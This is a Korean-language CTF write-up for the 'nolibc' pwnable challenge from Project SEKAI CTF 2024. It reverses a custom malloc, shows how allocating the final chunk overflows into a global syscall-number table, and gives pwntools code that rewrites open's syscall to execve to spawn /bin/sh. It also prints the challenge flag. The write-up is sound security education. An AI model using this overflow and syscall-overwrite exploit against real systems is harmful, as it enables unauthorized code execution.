[KOR] Project SEKAI CTF 2024 - nolibc

mntly·2024년 8월 26일
0

CTF

목록 보기
1/5
post-thumbnail


2024.08.24 01:00 ~ 2024.08.26 01:00 동안 진행한 Project SEKAI CTF 2024의 pwnable 문제, nolibc에 대한 writeUp 이다.

Key

  1. reversing
  2. Unsafe malloc
  3. memory overflow
  4. syscall

INFO

[!] Did not find any GOT entries
[*] '/home/CTF/main'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

Program source code

주어진 source code는 없고, 실행 파일을 리버싱해야 한다.
리버싱한 source code
각 함수의 동작 과정 설명 (malloc_guess 함수는 제외)

1. Program process

  1. String Storage 접속

    프로그램은 String Storage에 대해 회원 가입과 로그인 이후 총 6개의 기능을 제공한다.

    +) 회원 가입은 한 번만 가능하다.
    [그림 1] 회원 가입 이후 String Storage에 로그인한 모습


  1. String Storage가 제공하는 6가지 기능
    [그림 2] String Storage의 6가지 기능


    1) Add string : 현재 로그인한 계정에 문자열을 저장한다.
    [그림 3] "mntly" 문자열을 저장한 모습


    2) Delete string : 현재 로그인한 계정의 특정 인덱스의 문자열을 삭제한다.
    [그림 4] 0 번째로 저장된 문자열 ("mntly")을 삭제하는 모습


    3) View strings : 현재 로그인한 계정에 저장된 모든 문자열을 확인한다.
    [그림 5] 현재 저장된 문자열을 확인하는 모습


    4) Save to File : 현재 로그인한 계정에 저장된 모든 문자열을 하나의 파일로 저장한다.
    [그림 6] 저장된 문자열을 MNTLY 파일로 저장하는 모습
    [그림 7] MNTLY 파일의 내용


    5) Load from File : 특정 파일에 저장된 모든 문자열을 현재 로그인한 계정에 저장한다.
    [그림 8] test 파일의 내용
    [그림 9] test 파일을 읽어 문자열에 저장한 모습


    6) Logout : String Storage에서 로그아웃 한다.
    [그림 10] String Storage에서 로그아웃 한 모습

    +) Save to File과 Load from File에서 입력 값에 "flag"가 존재할 경우 파일 입출력에 실패한다.

    [그림 11] "flag" 필터링에 걸린 모습


2. Analyze Source Code

  • main : 1. Program process에 적힌 내용을 수행한다.
  • init : 할당할 메모리 영역 초기화한다.
  • login : String Storage 로그인 검증 수행한다.
  • register : 새로운 User를 추가한다. (User는 최대 1명만 가능)
  • AddString
    : 0 초과 256 사이의 정수를 받아 해당 길이 (+1) 만큼 메모리를 할당하고, 할당한 메모리에 문자열을 입력 받는다.
  • DelString
    : index를 입력 받아 해당 index에 저장된 문자열을 삭제하고, 해당 문자열이 들어있던 메모리 공간을 free 한다.
  • ViewString : 현재 저장된 모든 문자열을 출력한다.
  • SaveFile
    : 32 byte 크기의 파일 이름을 입력 받아 해당 파일에 지금까지 저장된 문자열을 작성한다.
  • LoadFile
    : 32 byte 크기의 파일 이름을 입력 받아 해당 파일의 내용을 저장한다.

Attack Surface in malloc_guess

할당하는 모든 메모리는 unk_5000의 주소부터 0x10000 byte의 메모리 공간에 할당된다.

IDA Pro로 정적 분석한 unk_5000의 주소인 0x5000부터 메모리 할당 과정에 대해 설명할 것이다.
[그림 12] IDA Pro로 확인한 unk_5000의 임시 주소


  • 각 Chunk의 구조

    1. 메모리는 0x10 byte의 Chunk Header 뒤에 data가 저장되고,

    2. Chunk Header에는 해당 Chunk의 크기와 다음 Chunk의 주소가 저장된다.

      • 현재 Chunk가 해제된 Chunk라면 다음으로 해제된 Chunk의 주소가 저장된다.
      • 현재 Chunk가 할당된 Chunk라면 Chunk Header의 다음 Chunk의 주소는 사용되지 않는다.

[그림 13] Chunk와 Chunk Header의 구조

[그림 14] 메모리 Chunk의 참조 그래프 (A : 할당된 chunk, F : 해제된 chunk)
인접한 두 chunk는 붙어 있다.


  • 메모리 할당 과정

    1. 전달 받은 할당할 메모리 영역의 크기 (size)를 0x10의 배수가 되도록 align 한다.

      aligned_size = (size + 15) & 0xFFFFFFF0 = 0x110
    2. 해제된 메모리 영역을 돌며 align된 크기 (aligned_size)보다 큰 Chunk size를 가진 Freed Chunk를 찾는다.

        1. 과정에서 적합한 memory chunk를 찾았을 경우 Chunk에 Chunk Header (0x10 byte)가 포함될 수 있는 지 확인한다.
        • Chunk Header가 포함될 수 없는 경우

          Chunk Size에 Chunk Header가 포함될 수 없다는 것은 [그림 15]와 같이 이전에 해제된 Chunk Header를 할당할 메모리 공간의 Chunk Header로 사용한다는 것을 의미한다. (Attack Surface)

          [그림 15] 이전에 해제된 Chunk를 그대로 할당하는 경우


        • Chunk Header가 포함될 수 있는 경우

          [그림 16]과 같이 남은 공간을 쪼개 Chunk를 새로 생성하고, 뒤의 공간을 해제된 Chunk로 남겨둔다.

          [그림 16] 해제된 Chunk를 쪼개서 메모리를 할당하는 경우


      • 만약 2. 과정에서 적합한 memory chunk를 못 찾았을 경우 0을 반환한다.
    3. Chunk 할당 이후 주소가 제일 낮은 해제된 메모리 Chunk를 가리키는 first_freed_heap 변수를 업데이트 한다.

Decide Attack Method

malloc_guess 함수는 아래의 판단을 통해 chunk를 할당한다.

Chunk Size에 Chunk Header가 포함될 수 없다는 것은 [그림 15]과 같이 이전에 해제된 Chunk Header를 할당할 메모리 공간의 Chunk Header로 사용한다는 것을 의미한다. (Attack Surface)

하지만 이는 제일 마지막에 해제된 chunk에 대해서는 동작하지 않는다.

[그림 15]를 보면 알 수 있듯 할당 이전 첫 번째 freed chunk (Offset:0x30 ~ Offset:0x70)의 chunk size인 0x30은 Data 공간 (Offset:0x40 ~ Offset:0x70)의 크기를 나타낸다.

하지만, 마지막 freed chunk (Offset:0xC0 ~ Offset:0x15000)의 chunk size인 0xFF40은 Data 공간의 크기가 아닌 남아있는 메모리 공간 전체 (Offset:0xC ~ Offset:0x15000)의 크기를 나타낸다.


만약 [그림 17]과 같이 마지막 freed chunk만 해제되어 있는 상태에서 chunk size 만큼 할당하면 메모리 공간을 벗어나 0x10 byte 만큼 추가로 더 작성할 수 있다.

[그림 17] Buffer OverFlow (Attack Surface) 과정 모식도


IDA로 확인한 결과, 메모리 할당은 0x5000 ~ 0x15000 공간을 이용한다.

그리고 각종 함수를 구현할 때 사용하는 syscall을 위한 syscall number는 0x15000 이후 0x10 byte에 전역변수로 저장된다.

[그림 18] syscall number가 저장된 .data segment


그래서 [그림 17]과 같이 0x10 byte를 더 작성한다면 syscall number를 덮을 수 있어 syscall을 원하는 대로 바꿀 수 있다.

Exploit Process

  1. 메모리 공간을 설정한다
    문자열을 할당할 때 최대 257 byte 만큼만 할당할 수 있기에, 반복적으로 할당하며 마지막 chunk의 chunk size를 257보다 작게 되도록 만들어야 한다.


  2. 마지막 메모리 Chunk를 할당하며 open의 syscall number을 execve의 syscall로 변조한다.

  3. 할당한 메모리를 모두 해제하여 파일 읽기를 수행할 때 할당할 메모리 공간을 만들어준다.

  4. Load from File로 "/bin/sh" 파일을 열도록 한다.

  5. 4.에서 "/bin/sh"를 열려고 할 때, open의 syscall이 execve로 변조되었기에 해당 파일을 인자로 execve 함수가 실행된다.

Input Values - Write a Payload

  1. 메모리 공간을 설정한다.

    def allocN(p, N):
        p.sendlineafter(b"Choose an option: ", "1")
        p.sendlineafter(b"Enter string length: ", str(N))
        p.sendlineafter(b"Enter a string: ", "deadmntly")
        time.sleep(0.005)
    
    def RepeatAllocMN(p, M, N):
        for i in range(M):
            allocN(p, N)
    
    RepeatAllocMN(p, 683, 16) # 0 ~ 682
    RepeatAllocMN(p, 59, 255) # 683 ~ 683 + 58 : 0 ~ 741
    RepeatAllocMN(p, 3, 16)   # 741 ~ 741 + 2  : 0 ~ 743

    할당할 크기와 횟수는 메모리 공간 계산 및 gdb debugging을 통해 알아내었다.

    [그림 19] z3py로 특정 메모리 크기 (buf)에 맞도록 특정 크기의 메모리를 할당하는 횟수 찾기


  2. 마지막 메모리 Chunk를 할당하며 open의 syscall number을 execve의 syscall로 변조한다. (execve의 syscall은 0x3b이다.)

    p.sendlineafter(b"Choose an option: ", "1")
    
    p.sendlineafter(b"Enter string length: ", str(0x2f))
    p.sendlineafter(b"Enter a string: ", b"A" * 0x20 + p32(0) + p32(1) + p32(0x3b) + p32(3))

  3. 할당한 메모리를 모두 해제하여 파일 읽기를 수행할 때 할당할 메모리 공간을 만들어준다.

    def freeN(p, N):
        p.sendlineafter(b"Choose an option: ", "2")
        p.sendlineafter(b"Enter the index of the string to delete: ", str(N))
    
    def RepeatFreeMN(p, M, N):
        for i in range(M):
            freeN(p, N)
    
    RepeatFreeMN(p, 744, 0)

  4. Load from File로 "/bin/sh" 파일을 열도록 한다.

    이 과정은 서버와 상호 작용하며 진행했다. (Execution Image 참조)


  5. 4.에서 "/bin/sh"를 열려고 할 때, open의 syscall이 execve로 변조되었기에 해당 파일을 인자로 execve 함수가 실행된다.

    이 과정은 서버와 상호 작용하며 진행했다. (Execution Image 참조)

Get Flag with Python (pwn)

Input Values - Write a Payload에서 말한 값들을 입력해 shell을 획득하는 파이썬 코드를 작성한다.

Exploit Python Code (GitHub)

Execution Image

solution.py를 실행하면 open의 syscall number를 execve의 syscall number로 변조하고, 이후 Load from File을 진행해 "/bin/sh" 파일을 읽도록 한다. 이를 통해 "/bin/sh"가 실행되며 shell을 획득한다.

[그림 20] open의 syscall을 변조하고 할당한 메모리를 삭제한 후 서버와 직접 통신을 시작하는 모습

[그림 21] 문자열이 정상적으로 삭제되었는 지 확인하는 모습

[그림 22] "/bin/sh" 파일 열기를 시도하는 모습

[그림 23] shell 획득 후 flag 파일을 찾는 모습

[그림 24] flag 획득

💡 SEKAI{shitty_heap_makes_a_shitty_security}

P.S. Exploit With Debugger

[그림 25] Exploit code의 첫 번째 pause에서 gdb로 메모리를 확인한 모습

[그림 25]의 왼쪽 사진을 보면 .data 영역은 0x564ecee88000 ~ 0x564ecee98070인 것을 알 수 있고, 이를 통해 할당된 메모리는 0x564ecee88000 ~ 0x564ecee98000을 사용한다는 것을 알 수 있다. 그리고 이후 0x10 byte에는 syscall이 저장되어있다. 이는 [그림 25]의 초록색 사각형으로 표시되어 있다.

[그림 25]의 오른쪽 사진의 빨간색 사각형은 각 chunk를 나타낸다. 그리고 두 번째 빨간색 사각형의 chunk size는 0x30 byte로 이는 전역 변수 syscall number 전체를 덮을 수 있다. (보라색 사각형)


[그림 26] Exploit code의 두 번째 pause에서 gdb로 메모리를 확인한 모습

[그림 26]은 마지막 chunk에서 0x30 byte를 저장하며 open의 syscall (0x02)을 execve의 syscall (0x3b)로 변조한 모습이다.

REFERENCE

[1] https://snwo.tistory.com/133

[2] https://blog.ch4n3.kr/291

[3] https://doongdangdoongdangdong.tistory.com/28

[4] https://rninche01.tistory.com/entry/Linux-system-call-table-정리x86-x64

[5] https://realsung.tistory.com/185

[6] nc ssl 접속 : chatGPT

0개의 댓글